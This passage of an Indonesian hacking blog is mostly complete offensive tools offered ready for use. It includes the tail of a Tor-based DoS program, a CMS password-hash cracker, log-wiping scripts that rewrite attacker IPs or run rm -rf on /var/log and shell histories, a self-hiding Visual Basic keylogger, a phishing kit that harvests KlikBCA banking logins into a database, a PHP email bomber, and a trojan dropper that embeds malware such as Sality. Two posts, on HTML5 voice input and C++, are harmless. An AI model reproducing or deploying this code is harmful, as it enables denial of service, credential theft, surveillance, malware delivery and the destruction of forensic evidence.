       fprintf(stderr, “[%i: cycle_identity -> signal NEWNYM\n", r);
       usleep(300000);
   }
}

int main(int argc, char **argv) {
   int x;
   if(argc !=3)
       cycle_identity();
   for(x=0; x != THREADS; x++) {
       if(fork())
           attack(argv[1], argv[2], x);
       usleep(200000);
   }
   getc(stdin);
   return 0;
}

Video Xerxes Dos

Semoga informasi ini bermanfaat sebagai pembelajaran yang lebih baik.

Multiple CMS Hash Cracker

2012-12-30T18:55:00.002+07:00

Berikut ini adalah source untuk MD5/SHA-1 Cracker yang dibuat untuk Crack Content Management System Hash seperti Joomla, WordPress, Drupal, Dsb. Jadi bisa mempermudah pencarian hash, langsung aja deh

#!usr/bin/perl
use Digest::MD5 qw(md5_hex);
use Digest::SHA1 qw(sha1_hex);

# Author: localh0t
# Date: 09/06/11
# Contact: mattdch0@gmail.com
# Follow: @mattdch

# Help

if(!$ARGV[7])
{
print “\n\n###########################################”;
print “\n# Multi CMS Hash Cracker v0.1 by localh0t #”;
print “\n###########################################”;
print “\n\nUse: perl $0 -d [WORLDLIST FOLDER] -h [MD5 | SHA-1 HASH] -s [SALT | USERNAME] -c [CMS]\n”;
print “Example: perl $0 -d /home/localh0t/wordlists/ -h caef8544a8e65e23f67ab844d4866e8d -s uZ*qX -c IPB\n”;
print “Example: perl $0 -d /home/localh0t/wordlists/ -h dc4a27b25e3f780b89c165f931d6f85d5bd6e33e -s Administrator -c SMF\n\n”;
print “Note: Worlists must end with .txt or .lst (or any extension)\n\n”;
print “Support:\n========\n”;
print “VB : md5_hex(md5_hex(password).salt) | (vBulletin)\n”;
print “SMF : sha1_hex(user.password) | (Simple Machines Forum)\n”;
print “IPB : md5_hex(md5_hex(salt).md5_hex(password)) | (Invision Power Board)\n”;
print “JOOMLA : md5_hex(password.salt) | (Joomla 1.x)\n\n”;
exit(0);
}

# Functions

sub ipb_cracker{
my $hash = shift;
my $salt = shift;
my $dir = shift;
foreach $file (@FILES) {
open(DICT,” print “[!] Using $file…\n”;
foreach $password() {
$password=~s/\s|\n//;
chomp($password);
$cracked = md5_hex(md5_hex($salt).md5_hex($password));
if ($cracked eq $hash) {
return “[+] Hash cracked !: $password\n\n”;
}
}
print “[!] Nothing found with $file…\n\n”;
}
return “\n[-] Password not found\n\n”;
}

sub vb_cracker{
my $hash = shift;
my $salt = shift;
my $dir = shift;
foreach $file (@FILES) {
open(DICT,” print “[!] Using $file…\n”;
foreach $password() {
$password=~s/\s|\n//;
chomp($password);
$cracked = md5_hex(md5_hex($password).$salt);
if ($cracked eq $hash) {
return “[+] Hash cracked !: $password\n\n”;
}
}
print “[!] Nothing found with $file…\n\n”;
}
return “\n[-] Password not found\n\n”;
}

sub smf_cracker{
my $hash = shift;
my $user = shift;
my $dir = shift;
foreach $file (@FILES) {
open(DICT,” print “[!] Using $file…\n”;
foreach $password() {
$password=~s/\s|\n//;
chomp($password);
$cracked = sha1_hex($user.$password);
if ($cracked eq $hash) {
return “[+] Hash cracked !: $password\n\n”;
}
}
print “[!] Nothing found with $file…\n\n”;
}
return “\n[-] Password not found\n\n”;
}

sub joomla_cracker{
my $hash = shift;
my $salt = shift;
my $dir = shift;
foreach $file (@FILES) {
open(DICT,” print “[!] Using $file…\n”;
foreach $password() {
$password=~s/\s|\n//;
chomp($password);
$cracked = md5_hex($password.$salt);
if ($cracked eq $hash) {
return “[+] Hash cracked !: $password\n\n”;
}
}
print “[!] Nothing found with $file…\n\n”;
}
return “\n[-] Password not found\n\n”;
}

my ($dir, $hash, $salt, $cms, $arg);

foreach $loop (@ARGV) {
for ($loop) {
/^-d$/ and do { $dir = $ARGV[($arg+1)]; last; };
/^-h$/ and do { $hash = $ARGV[($arg+1)]; last; };
/^-s$/ and do { $salt = $ARGV[($arg+1)]; last; };
/^-c$/ and do { $cms = $ARGV[($arg+1)]; last; };
}
$arg++;
}

# Main

print “\n[!] Cracking $hash with $salt as username/salt…\n\n”;

opendir(DIR, $dir) || die “\n[-] Folder not found\n\n”;

while($file = readdir(DIR)) {
if ($file ne ‘.’ and $file ne ‘..’) {
$FILES[$clean] = $file;
$clean++;
}
}

for ($cms) {
/^IPB$/ and do { $result = &ipb_cracker($hash,$salt,$dir); last; };
/^VB$/ and do { $result = &vb_cracker($hash,$salt,$dir); last; };
/^SMF$/ and do { $result = &smf_cracker($hash,$salt,$dir); last; };
/^JOOMLA$/ and do { $result = &joomla_cracker($hash,$salt,$dir); last; };
/^.$/ and do { print “[-] CMS not available\n”; exit(0); last; };
}

print $result;

# Exit

close(DICT);
closedir(DIR);
exit(0);

__END__

Bagaimana Penggunaannya? Berikut Petunjuknya:

Install Perl Di Komputer Anda, Dengan Mendownload Perl. Untuk Linux Biasanya Sudah Terinstall, Di Windows Silakan Download Disini: http://www.activestate.com/activeperl/downloads
Simpan File Tersebut “cmsdir.pl“
Ikuti Langkah Berikut:

Silakan Download Tools / Source Code:

Menambahkan Voice Transcription di Input Box

2012-12-30T18:54:00.002+07:00

Seperti yang anda semua tahu, HTML 5 merupakan versi terbaru dari bahasa HTML yang menambahkan berbagai macam tag-tag yang membuat website bisa jauh lebih interaktif tanpa memerlukan bantuan plugin seperti Flash, Silverlight atau Java (bukan JavaScript ya…).

Nah, salah satu dari HTML 5 ini adalah Voice Transcription. Sampai sekarang memang Voice Transcriptionini masih hanya berfungsi pada browser Google Chrome. Mungkin Firefox, Opera, Internet Explorer sertaSafari akan menyusul nanti…

Untuk membuatnya sebenarnya sangatlah mudah! Anda hanya perlu menambahkan sebuah tambahan padatag <input>. Jari-jemari ga perlu capek hanya untuk menulisnya karena hanya sedikit saja yang perlu ditambahkan…

Oke, daripada kebanyakan ngomong teori (sebagian besar orang bosen dengan teori) maka dari itu kita langsung lompat ke Prakteknya saja. Kita mulai dengan membuat form sederhana yang isinya adalah sebuah input box dan submit button.

<html>
<head>
<title>Contoh HTML5 Voice Transcription</title>
</head>
<body>
<h1>Voice Transcription</h1>
<form>
<input type=”input” name=”contohinput” /><br/><input type=”submit” name=”contohsubmit”/>
</form>
</body>
</html>

Hasilnya adalah seperti ini:

Yap! Cuma sekedar page dengan input box biasa ditambah submit button yang juga biasa (NB: Memang submit buttonnya tidak akan kita apa-apain. Yang kita ubah hanya input boxnya saja). Sekarang waktunya kita menambahkan Voice Transcription pada input boxnya. Mari kita ubah…

Waktunya fokus kembali pada script input boxnya:

<input type=”input” name=”contohinput” />

Untuk menambahkan Voice Transcription maka kita harus menambahkan “x-webkit-speech” (tanpa tanda petik) ke tag input boxnya sehingga scriptnya menjadi seperti ini:

<input type=”input” name=”contohinput” x-webkit-speech/>

Sehingga secara keseluruhan scriptnya menjadi seperti ini:

<html>
<head>
<title>Contoh HTML5 Voice Transcription</title>
</head>
<body>
<h1>Voice Transcription</h1>
<form>
<input type=”input” name=”contohinput” x-webkit-speech/><br/><input type=”submit” name=”contohsubmit”/>
</form>
</body>
</html>

Nah, mari kita coba Save dan uji coba (lagi)

Sudah deh, nongol gambar Microphone di Input Boxnya. Coba klik Microphonenya dan katakanlah sesuatu (dalam Bahasa Inggris) dan lihat hasilnya… Mantap bukan?

Itu hanyalah contoh sederhana dari penggunaan Voice Transcription HTML5. Kita bisa mengembangkannya lagi menjadi sesuatu yang lebih baik seperti untuk situs dictionary, dsb. Pokoknya, tergantung imajinasi deh

Terima kasih sudah membaca artikel buatan saya…

Python Log Cleaner

2012-12-30T18:50:00.005+07:00

Share code untuk tools pembersih “log”dengan menggunakan phython, manfaatnya adalah anda bisa menghilangkan jejak sejenak dari log yang tersimpan.

Berikut ini codenya:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

#!/usr/bin/python

#PyLogcleaner uses the list given (logfiles) containing

# 274 logfiles and uses the linux find 

#cmd to try and locate more logfiles to search

#for an ip address to replace with a random generated

#one. It can also encrypt/d3crypt a 

#logfile and also can watch a logfile for modifications.

import os, sys, time, pwd, getopt, re, random, StringIO, commands

def title():

    print "\n   PyLogCleaner v1.0"

    print "-----------------------------------------------"

def usage():

    title()

    print "\n  Usage: python logcleaner.py <option>\n"

    print "\t[options]"

    print "\t   -i <ip>: Ip to search for and replace"

    print "\t   -e <file>: Encrypts logfile"

    print "\t   -d <file>: Decrypts logfile"

    print "\t   -w/-watch <file> <time to check> : Watches logfile for modification"

    print "\t   -h/-help: Prints this menu\n"

def timer():

    now = time.localtime(time.time())

    return time.asctime(now)

def validater(logs):

    activeLogs = []

    print "[+] Validating:",len(logs),"logfiles\n"

    for l in logs:

        if os.path.isfile(l) == True:

            activeLogs.append(l)

    if len(activeLogs)>0:

        print "[+] Active Logs Found:",len(activeLogs)

        return activeLogs 

    else:

        print "[-] No Active Logs Found"

        sys.exit(1)

def search(logfiles):

    print "\n[+] Searching:",ip,"\n"

    import mmap

    for file in logfiles:

        try:

            f = open(file, "rb+")

            size = os.path.getsize(file)

            if size >= 1:

                data = mmap.mmap(f.fileno(), size)

                loc = data.find(ip)

                #Lets not search a file with no data.

                if loc == -1:

                    #print "[+] File:",file,"|",size,"bytes"

                    #print "\t[-] IP not found"

                    data.close()

                else:

                    print "-"*45

                    print "[+] File:",file,"|",size,"bytes"

                    print "\t[+] IP found"

                    data.seek(loc)

                    data.write(randip)

                    print "[+] Replaced: ",ip,">>",randip 

                    print "[+] New_Size:",os.path.getsize(file),"bytes"

                    print "-"*45

                    data.close()

        except(IOError), msg:

            pass

    print "\n[+] Done:",timer(),"\n"

def findlogs():

    os.chdir("/")

    print "[+] Finding More Logfiles..."

    #Lets use the linux find cmd to fing more files containing log...

    logz = StringIO.StringIO(commands.getstatusoutput('find . -iname *log -perm -444 -print')[1]).readlines()

    if len(logz)>0:

        print "[+] Found:",len(logz),"extra logfiles"

        for log in logz:

            if re.search("Permission denied",log) == None:

                logs.append(log[:-1]) 

    return logs 

def randip():

    A = random.randrange(255) + 1

    B = random.randrange(255) + 1

    C = random.randrange(255) + 1

    D = random.randrange(255) + 1

    randip = "%d.%d.%d.%d" % (A,B,C,D)

    return randip 

def gettime():

    clock = time.asctime(time.localtime(os.path.getmtime(logfile)))

    return clock 

def getsize():

    size = os.path.getsize(logfile)

    return size 

def modlast(logfile):

    try: 

        sys.argv[3]

    except(IndexError):

        print "\n[-] Need a time in seconds (ex: 60)\n"

        sys.exit(1)

    print "[+] Analyzing:",logfile 

    print "[+] Time:",sys.argv[3],"secs"

    print "[+] Owner:",pwd.getpwuid(os.stat(logfile)[4])[0]

    print "[+] Size:",getsize(),"bytes"

    print "[+] Last Modified:",gettime()

    print "[+] Starting:",timer()

    old_time = gettime()

    while True:

        time.sleep(int(sys.argv[3]))

        new_time = gettime()

        if new_time != old_time:

            print "\n[+] File Modified:",new_time 

            print "[+] New Size:",getsize(),"bytes\n"

            old_time = new_time 

def encrypter(file):

    import base64

    print "\n[+] Encrypting:",file

    print "[+] Size:",os.path.getsize(file),"bytes"

    try:

         log2encode = open(file, "r").read()

    except(IOError): 

         print "Error: Check your full path.\n"

         sys.exit(1)

    log2encode = base64.b64encode(log2encode)

    os.remove(file)

    time.sleep(2)

    f = open(file, "a")

    f.write(log2encode)

    f.close()

    print "[+] NewSize:",os.path.getsize(file),"bytes"

    print "[+] Done\n"

def d3crypter(file):

    import base64

    print "\n[+] Decrypting:",file

    print "[+] Size:",os.path.getsize(file),"bytes"

    try:

         b2log = open(file, "r").read()

    except(IOError): 

         print "Error: Check your full path.\n"

         sys.exit(1)

    b2log = base64.b64decode(b2log)

    os.remove(file)

    time.sleep(2)

    f = open(file, "a")

    f.write(b2log)

    f.close()

    print "[+] NewSize:",os.path.getsize(file),"bytes"

    print "[+] Done\n"

if len(sys.argv) <= 1:

    usage()

    sys.exit(1)

if len(sys.argv) == 2:

    usage()

    sys.exit(1)

if sys.argv[1] == "-w" or sys.argv[1] == "-watch":

    logfile = sys.argv[2]

    if os.path.isfile(logfile) == False:

        title()

        print "\n[-] Cannot Open File, Check Full Path!!!\n"

        sys.exit(1)

    else:

        title()

        modlast(logfile)

if sys.argv[1] == "-i":

    ip = sys.argv[2]        

    try:

         logs = open("logfiles", "r").readlines()

    except(IOError): 

         print "Error: logfiles missing\n"

         sys.exit(1)

    title()

    print "\n[+] Starting:",timer()

    print "[+] Loaded:",len(logs),"logs"

    findlogs()

    randip = randip()

    print "[+] Generate Random IP:",randip 

    search(validater(logs))

if sys.argv[1] == "-e":

    file = sys.argv[2]

    title()

    encrypter(file)

if sys.argv[1] == "-d":

    file = sys.argv[2]

    title()

    d3crypter(file)

Download Tools Disini:

Bisa juga menggunakan tools dari Vodork YCL berikut:

Code:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

#!/usr/bin/env python

import threading

import os

from time import sleep, ctime 

print''' 

  _     _  ___    _ 

    ( )   ( )(  _`\ ( ) 

    `\`\_/'/'| ( (_)| | 

   `\ /'  | |  _ | |  _ 

    | |   | (_( )| |_( ) 

    (_)   (____/'(____/'og cleaner 

 Kinds Regard 

                        ./VodOrkYCL.py 

 '''

lt = ctime()

print '[+] Starting log cleaner at %s\n\n' %(lt)

sleep(5)

class output_command(threading.Thread):

 def __init__(self, command):

 threading.Thread.__init__(self)

 self.command = command 

 def run(self):

 os.system(self.command)

 print "[+]log was finish to clean......\n"

class input_command:

 def __init__(self):

 clear_add = ["rm -rf /tmp/logs","rm -rf $HISTFILE","rm -rf /root/.ksh_history","rm -rf /root/.bash_history","rm -rf /root/.bash_logout","rm -rf /usr/local/apache/logs","rm -rf /usr/local/apache/logs","rm -rf /usr/local/apache/log","rm -rf /var/apache/logs","rm -rf /var/apache/log","rm -rf /var/run/utmp","rm -rf /var/logs","rm -rf /var/log","rm -rf /var/adm","rm -rf /etc/wtmp","rm -rf /etc/utmp"]

 for listt in clear_add:

 try:

 i=output_command(listt)

 i.start()

 except:

 pass

if __name__ == "__main__":

 objCaller = input_command()

Selamat mencoba, semoga berhasil!

Membuat Key Logger Dengan Visual Basic

2012-12-30T18:48:00.002+07:00

Sesuai dengan judul di atas, kali ini saya akan memberikan sedikit tutorial cara membuat key logger sederhana dengan Visual Basic. Oke langsung saja gan..

Siapkan Visual Basic , Disini saya menggunakan Visual Basic 6.0
Buka program Visual Basic
New Project Standard EXE
Tambahkan 1 buah TextBox, 4 buah CommandButton, 2 Timer, dan 6 buah Label (Lihat Gambar)
Copas seluruh Code di bawah ini :
Private Declare Function GetAsyncKeyState Lib “user32″ (ByVal vKey As Long) As Integer
Private Declare Function GetForegroundWindow Lib “user32″ () As Long
Private Declare Function GetWindowText Lib “user32″ Alias “GetWindowTextA” (ByVal hWnd As Long, ByVal sWndTitle As String, ByVal cLen As Long) As Long
Private hForegroundWnd As Long
Private backs As BooleanPrivate Sub Command1_Click()
Timer1.Enabled = True
End SubPrivate Sub Command2_Click()
Timer1.Enabled = False
End SubPrivate Sub Command3_Click()
backs = True
End SubPrivate Sub Command4_Click()
backs = False
End SubPrivate Sub Form_Load()
backs = True
End Sub

Private Sub Label1_Click()

End Sub

Private Sub Label4_Click()

End Sub

Private Sub Label6_Click()
Timer1.Enabled = True
End Sub

Private Sub Label7_Click()
Timer1.Enabled = False
End Sub

Private Sub Label8_Click()
backs = True
End Sub

Private Sub Label9_Click()
backs = False
End Sub

Private Sub Text1_Change()
Text1.SelStart = 0
Text1.SelLength = Len(Text1.Text)
End Sub

Private Sub Timer1_Timer()

Dim x, x2, i, t As Integer
Dim win As Long
Dim Title As String * 1000

win = GetForegroundWindow()
If (win = hForegroundWnd) Then
GoTo Keylogger
Else
hForegroundWnd = GetForegroundWindow()
Title = “”

GetWindowText hForegroundWnd, Title, 1000

Select Case Asc(Title)

Case 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95
Text1.Text = Text1.Text & vbCrLf & vbCrLf & “[ " & Title
Text1.Text = Text1.Text & " ]” & vbCrLf
End Select

End If

Exit Sub

Keylogger:

For i = 65 To 90

x = GetAsyncKeyState(i)
x2 = GetAsyncKeyState(16)

If x = -32767 Then

If x2 = -32768 Then
Text1.Text = Text1.Text & Chr(i)
Else: Text1.Text = Text1.Text & Chr(i + 32)
End If

End If

Next

For i = 8 To 222

If i = 65 Then i = 91

x = GetAsyncKeyState(i)
x2 = GetAsyncKeyState(16)

If x = -32767 Then

Select Case i

Case 48
Text1.Text = Text1.Text & IIf(x2 = -32768, “)”, “0″)
Case 49
Text1.Text = Text1.Text & IIf(x2 = -32768, “!”, “1″)
Case 50
Text1.Text = Text1.Text & IIf(x2 = -32768, “@”, “2″)
Case 51
Text1.Text = Text1.Text & IIf(x2 = -32768, “#”, “3″)
Case 52
Text1.Text = Text1.Text & IIf(x2 = -32768, “$”, “4″)
Case 53
Text1.Text = Text1.Text & IIf(x2 = -32768, “%”, “5″)
Case 54
Text1.Text = Text1.Text & IIf(x2 = -32768, “^”, “6″)
Case 55
Text1.Text = Text1.Text & IIf(x2 = -32768, “&”, “7″)
Case 56
Text1.Text = Text1.Text & IIf(x2 = -32768, “*”, “8″)
Case 57
Text1.Text = Text1.Text & IIf(x2 = -32768, “(“, “9″)

Case 112: Text1.Text = Text1.Text & ” F1 “
Case 113: Text1.Text = Text1.Text & ” F2 “
Case 114: Text1.Text = Text1.Text & ” F3 “
Case 115: Text1.Text = Text1.Text & ” F4 “
Case 116: Text1.Text = Text1.Text & ” F5 “
Case 117: Text1.Text = Text1.Text & ” F6 “
Case 118: Text1.Text = Text1.Text & ” F7 “
Case 119: Text1.Text = Text1.Text & ” F8 “
Case 120: Text1.Text = Text1.Text & ” F9 “
Case 121: Text1.Text = Text1.Text & ” F10 “
Case 122: Text1.Text = Text1.Text & ” F11 “
Case 123: Text1.Text = Text1.Text & ” F12 “

Case 220: Text1.Text = Text1.Text & IIf(x2 = -32768, “|”, “\”)
Case 188: Text1.Text = Text1.Text & IIf(x2 = -32768, “<”, “,”)
Case 189: Text1.Text = Text1.Text & IIf(x2 = -32768, “_”, “-”)
Case 190: Text1.Text = Text1.Text & IIf(x2 = -32768, “>”, “.”)
Case 191: Text1.Text = Text1.Text & IIf(x2 = -32768, “?”, “/”)
Case 187: Text1.Text = Text1.Text & IIf(x2 = -32768, “+”, “=”)
Case 186: Text1.Text = Text1.Text & IIf(x2 = -32768, “:”, “;”)
Case 222: Text1.Text = Text1.Text & IIf(x2 = -32768, Chr(34), “‘”)
Case 219: Text1.Text = Text1.Text & IIf(x2 = -32768, “{“, “[")
Case 221: Text1.Text = Text1.Text & IIf(x2 = -32768, "}", "]“)
Case 192: Text1.Text = Text1.Text & IIf(x2 = -32768, “~”, “`”)

Case 8: If backs = True Then If Len(Text1.Text) > 0 Then Text1.Text = Mid(Text1.Text, 1, Len(Text1.Text) – 1)
Case 9: Text1.Text = Text1.Text & ” [ Tab ] “
Case 13: Text1.Text = Text1.Text & vbCrLf
Case 17: Text1.Text = Text1.Text & ” [ Ctrl ]“
Case 18: Text1.Text = Text1.Text & ” [ Alt ] “
Case 19: Text1.Text = Text1.Text & ” [ Pause ] “
Case 20: Text1.Text = Text1.Text & ” [ Capslock ] “
Case 27: Text1.Text = Text1.Text & ” [ Esc ] “
Case 32: Text1.Text = Text1.Text & ” “
Case 33: Text1.Text = Text1.Text & ” [ PageUp ] “
Case 34: Text1.Text = Text1.Text & ” [ PageDown ] “
Case 35: Text1.Text = Text1.Text & ” [ End ] “
Case 36: Text1.Text = Text1.Text & ” [ Home ] “
Case 37: Text1.Text = Text1.Text & ” [ Left ] “
Case 38: Text1.Text = Text1.Text & ” [ Up ] “
Case 39: Text1.Text = Text1.Text & ” [ Right ] “
Case 40: Text1.Text = Text1.Text & ” [ Down ] “
Case 41: Text1.Text = Text1.Text & ” [ Select ] “
Case 44: Text1.Text = Text1.Text & ” [ PrintScreen ] “
Case 45: Text1.Text = Text1.Text & ” [ Insert ] “
Case 46: Text1.Text = Text1.Text & ” [ Del ] “
Case 47: Text1.Text = Text1.Text & ” [ Help ] “
Case 91, 92: Text1.Text = Text1.Text & ” [ Windows ] “

End Select

End If

Next

End Sub

Private Sub Timer2_Timer()
Dim a, b, x As Long
a = GetAsyncKeyState(120)
b = GetAsyncKeyState(121)
x = GetAsyncKeyState(16)
If a = -32767 And x = -32768 Then Me.Hide
If b = -32767 And x = -32768 Then Me.Show
End Sub
Jalankan dengan menekan tombol F5
Live demo bisa di download disini :

Selamat mencoba, semoga bermanfaat tutorial sederhana membuat keylogger ini. Wassalam…

Phishing Attack: Login Overflow

2012-12-30T18:45:00.001+07:00

Phishing!! Yeah, pasti sudah tahu kan apa artinya phishing?

Kalau belum tahu silahkan check it http://en.wikipedia.org/wiki/Phishing

Saya akan berbagi coding sederhana php dan database mysql dalam proses overflow. Data Korban akan di simpan ke dalam database, jadi sebelumnya kalian harus membuat database yang sesuai dengan Login Phishing.

Data Flow Diagram Phishing

Ketika korban terjebak dengan login phishing, web browser korban akan crash dan CPU Range Korban menjadi 100%.

Sebagai contoh saya akan demonstrasi phishing pada KLIKBCA

Membuat 3c.php

<?php

include “koneksi.php”;

$User = $_POST['UserId'];
$passwd = $_POST['passwd'];
$ip = getenv(REMOTE_ADDR);
$tgl = date(“j F Y, g:i a”);

$query = “INSERT INTO hack (user, passwd, ip, tgl) VALUES (‘$User’, ‘$passwd’, ‘$ip’, ‘$tgl’)”;

mysqli_query($konek, $query); // kirim query ke database

$hasil = mysqli_affected_rows($konek); // cek perubahan data di database

// login.php adalah URL Direct letak overflow

if ($hasil > 0)
{
header(‘location:../login.php’ );
}
else
{
echo “gagal”;
}
?>

Membuat koneksi.php

<?php

$database = “bca”; // nama database
$host = “localhost”; // nama host
$nama = “root”; // username database
$pass = “haning”; // password database

$konek = mysqli_connect($host, $nama, $pass, $database); // konek ke database

if(mysqli_connect_errno())
{
echo “Koneksi Ke Server Gagal.”;
exit();
}

?>

Tempat berlangsungnya overflow, saya namakan login.php

<?php
mysql_connect (“localhost”, “root”,”haning”) or die (mysql_error());
mysql_select_db (“bca”) or die(mysql_error());

$over = $_POST['login']; // button submit “login”

$sql = mysql_query(” select * from hack where user like ‘%$over%’ “);

$row = mysql_fetch_array($sql);

// Proses Oveflow, lebih tepatnya Perulangan Pencarian

if ($row > 0)
{
while ($row){
echo “At “.$row['tgl'].” Secure Socket SSL Invalid. Please, do not process access to BCA Internet Banking.<br>”;
}
}
else
{
echo “overflow gagal”;
}
?>

Tujuan di balik phishing ini adalah mencuri informasi korban di balik login palsu dan membuat panik korban. Ketika korban panik, maka ia akan menutup login tersebut dan sang Attacker mendapatkan user login korban di dalam database yang telah disiapkan sebelumnya.

Simak VIDEO nya Disini:

Untuk Download Video Demonstrasi Klik DISINI

Artikel ini hanya semata-mata untuk pembelajaran, penulis tidak bertanggung jawab sama sekali atas tindakan diluar artikel ini. Gunakan artikel ini sebagai pembelajaran dan memproteksi diri.

Selamat mencoba & semoga berhasil, jangan lupa untuk berkunjung kesini untuk berkumpul dengan Yudha Pangestu Family Lainnya Di Sini !

Terima kasih semuanya

Script BOM E-Mail Menggunakan PHP

2012-12-30T18:43:00.002+07:00

ni kerjaan usil waktu masih duduk dibangku Kuliah dulu. Mulai dari belajar ngehack, ngedeface, mencuri kuota temen sampai mengirim pesan ke email temen yang jumlahnya ribuan bahkan jutaan. Alamat email email bomber email bomb program email bomb online flood email email bomb software make email bomb Penelusuran yang terkait dengan bom email cara membuat bom email cara boom email bom email software bom email bom 2011 bom friends sign up bom, bom email teman.

Saya akan ngebahas kejahatan saya bagian mengirim mail yang jumlahnya ribuan, tapi sekarang saya udah sadar kalo hal itu salah, tidak ada gunanya serta tidak ada untungnya dan tak layak untuk ditiru.

Jadi mohon di maafkan ya teman – teman kalo saya pernah ngusilin kalian. Hehe..

Berikut contoh potongan programnya:

<html>
<body>
<form method=post action=index.php>
<pre>
<input type=hidden value=ok name=ok>
Dari : <input name=dari value=”<? echo $dari;?>”>
Kepada : <input name=kepada value=”<? echo $kepada;?>”>
Jumlah : <input name=jumlah value=”<? echo $jumlah;?>”>
Isi Pesan: <textarea name=isi><?echo $isi?></textarea><br>
<input type=submit value=Booom>
</form></pre>
<?
if ($ok==”ok”)
{
for ($i=0;$i<$jumlah;$i++)
{
$a=$i.$dari;
mail($kepada,$isi,”",”From : $a <$a>”);
}
echo (“Beres Bos”);
}
?>
</body>
</html>

Lalu simpan code tersebut dalam sebuah file, misalkan email-bomber.php

Selanjutnya masukkan file tersebut dalam webserver atau webhosting kamu.

Langkah berikutnya buka browser lalu masukkan alamat dimana kamu menyimpan file tersebut misalkanhttp://namadomainkamu.com/email-bomber.php

Jika alamat e-mail yang ditujukan benar maka akan secara otomatis mengirimkan pesan ke email korban.

Pesan terakhir jangan dilakukan karena Tuhan maha tahu dan kalo ada salah kata mohon di maafkan.

NB:
Artikel ini hanya untuk ilmu pengetahuan semata, penyalah gunaan artikel ini diluar dari tanggung jawab penulis.

Contoh Pemrograman Menggunakan C++

2012-12-30T18:42:00.002+07:00

Berikut kami share beberapa contoh hasil pemrograman dengan menggunakan C++, disertai dengan tutorial C++, semoga hal ini bisa mempercerah dan membantu untuk lebih semangat dalam coding

Oke, mari kita lanjutkan ke artikel berikut:

Contoh Program Array Menggunakan Index

Kali ini saya akan membuat sebuah dasar untuk pemrograman C++, ingat artikel ini jangan hanya di copas hanya untuk keperluan tugas anda di kampus maupun di sekolah, saya disini tidak akan memberikan listing program yang bisa di copas , maka dari itu kalian
harus menyalinnya dengan benar. saya hanya akan memberikan scrreen shotnya, apabila kalian yang malas menyalinnya

Dan ini merupakan gambar listing codenya:

Disini terjadi penggantian indeks sesuai dengan indeks yang ingin diganti, misalnya indek pertama bil awal 15 bisa digantikan dengan kode 2.

Tampilan screen shoot program ketika sudah dibuat:

Program Mencari Nilai Minimum dan Maximum C++

Kali ini saya akan lagi memposting sebuah source program menggunakan borlan C++, mungkin sedikit berbeda syntaxnya dengan program C yang lain.

Sekarang saya akan membuat kan suatu source code C++ yaitu mencari nilai terbesar dan terkecil. Saya buatnya dalam bentuk image supaya semuanya bisa belajar, kecuali saya .. Hhe

Langsung saja ini gambar code / syntaxnya:

Dan ini hasil print screennya:

Itulah program dari saya, apabila ada pertanyaan anda bisa sms ke saya.

Cara yang lainnya:

Nah apakah sesuai dengan apa yang anda inginkan…..?

Source codenya ini:

Screen shot program yang uda di compile:

Penjelasannya dikit aja ya…

Float digunakan untuk menentukan jumlah indeks yang bisa di input, i disimpan dalam sebuah fungsi lalu digunakan perulangan, yaitu menggunakan for (i=0;i<10 br=”br” i=”i”>jadi artinya i melakuakan perbandingan antara sepuluh indeks.

Bila kalian ingin belajar private bisa hubungi saya di +6287764321122 atau kalian ingin mengcopy semua koleksi program saya bisa contac juga saya

Membuat Fake Application

2012-12-30T18:41:00.002+07:00

Pada tutorial ini, saya ingin memberi contoh Fake Application yang melakukan aksi Drop File Executable, seperti beberapa tipe Trojan yang jika dijalankan terlihat seperti program biasa tetapi secara diam-diam melakukan ekstrak [drop] file lainnya kemudian file hasil ekstrak di eksekusi untuk menjalankan aksinya..

Oke, langsung pada cara pembuatan, pertama buka Microsoft Visual Basic 6 anda, buat project baru dengan tipe standar EXE, kemudian buat 1 form baru.

Pilih Menu Tools – Resource Editor,lalu klik icon Add Custom Resource

Lihat gambar:

Pilih file executable yang anda inginkan misalnya Sality atau Ramnit juga boleh. Kemudian Open, file yang akan dibuat menjadi resource file ber-ekstensi .RES, sehingga bisa disimpan ke dalam program. File executable bisa anda pack dahulu dengan UPX, Mpress dan sebagainya agar ukuran file menjadi lebih kecil.

Ketika akan menyimpan resource ,beri nama sesuai keinginan anda misalnya project1.RES

Setelah sukses “melampirkan” malware atau program lain kedalam program utama, maka ketik kode berikut pada form :

’membuat fungsi KeluarkanFile untuk ekstrak file
Private Function KeluarkanFile(JenisRes As String, IDRes As Long, OFile As String)

Dim DROP() As Byte
DROP = LoadResData(IDRes, JenisRes)

Open OFile For Binary As #1
Put #1, , DROP
Close #1

End Function

‘fungsi ini akan dipanggil ketika program diload ke memori

Private Sub Form_Load()
‘fungsi keluarkanfile dipanggil saat program dieksekusi,ganti nama hehe.exe sesuai keinginan anda

KeluarkanFile “CUSTOM”, 101, App.Path & “\hehe.exe”
Msgbox “File berhasil di ekstrak”,vbinformation,”Info”

End Sub

Save project kemudian run saja, maka akan muncul file bernama hehe.exe di direktori yang sama dengan project anda berada

Catatan: program tidak langsung menjalankan file hasil ekstrak, silahkan tambahkan sendiri kodenya.

Happy coding

Berbagai Tutorial &Sourcecode C/C++

